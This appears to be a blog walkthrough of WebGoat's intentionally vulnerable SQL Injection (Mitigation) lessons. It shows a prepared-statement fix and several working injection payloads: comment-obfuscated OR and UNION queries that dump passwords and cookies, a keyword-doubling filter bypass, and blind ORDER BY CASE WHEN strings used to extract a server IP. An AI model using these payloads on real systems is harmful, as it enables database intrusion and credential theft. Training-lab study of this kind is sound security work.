Webgoat – SQL Injection (Mitigation)

In this walk through, we will be going through the SQL Injection (Mitigation) vulnerability section from Webgoat Labs. We will be exploring and exploiting SQL Injection Mitigations and learn how application are affected because of it. So, let’s get started with the Hacking without any delay.

1. Writing safe code

• In this challenge, we will complete the incomplete safe code. Post this, the application won’t be vulnerable to SQL Injection

2. Writing safe code again

try {
    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);
    PreparedStatement ps = conn.prepareStatement("Select * FROM users WHERE name= ? ");
    ps.setString(1, "Kratos");
    }
    

catch (Exception e)
    {   
    System.out.println("Oops. Something went wrong!");
    }
          

3. Input Validation Test

• In this challenge, we will use parametrized queries and then validate the input received from the user to check if SQL Injection is still exist in our application.

• I used the below payload to break the safe guard but failed.

Smith\'/**/OR/**/1=1--

• Got success with the below payload using UNION statements to dump the data from the tables.

Smith\'/**/UNION/**/SELECT/**/userid,user_name,password,cookie,null,null,null/**/FROM/**/user_system_data;--

4. Input Validation Test

• We are continuing the last input validation check exploitation here as well.

• Used the below payload but failed.

Smith\'/**/OR/**/1=1--

• The below payload gave me a success.

Smith';/**/seselectlect/**/*/**/frfromom/**/user_system_data;--

5. Order by Clause

• In this challenge, we have to find the IP address of the webgoat-prd server by exploiting the order by clause implementation on the application.

• I intercepted the request via Burpsuite and appended an apostrophe at the end of the column name which throws an error revealing the underlying SQL statements.

• Next, i confirm the webgoat-prd server existence using the below payload which returns the server names arranged as per the id.

(CASE+WHEN+(SELECT+hostname+FROM+servers+WHERE+hostname='webgoat-prd')+=+'webgoat-prd'+THEN+id+ELSE+status+END)

• Checking for a false response, i entered a non-existent server name and got a response arranged as per the server status instead of the IP. Hence, our condition is working fine.

(CASE+WHEN+(SELECT+hostname+FROM+servers+WHERE+hostname='webgoat-prd')+=+'webgoat-asd'+THEN+id+ELSE+status+END)

• Next, i used the below payload to bruteforce the IP address first octet.

-- substring(IP address,1,1) = '1'  

(CASE+WHEN+(SELECT+substring(ip,1,1)+FROM+servers+WHERE+hostname='webgoat-prd')+=+'1'+THEN+id+ELSE+status+END)

-- substring(IP address,1,4) = '104.'


(CASE+WHEN+(SELECT+substring(ip,1,4)+FROM+servers+WHERE+hostname='webgoat-prd')+=+'104.'+THEN+id+ELSE+status+END)

104.130.219.202

Also Read: Webgoat – SQL Injection (Intro)

Conclusion:

So, we finally completed the Webgoat SQL Injection (Mitigation) section. Next, we can mitigate these types of attacks by performing input sanitization and using prepared statements or parametrized queries for every SQL query made by the application to the database. Post the implementation of patches, it should be thoroughly check if any bypasses are possible. On that note, i will take your leave and will meet you in next one with another Webgoat vulnerability writeup, till then “Keep Hacking”.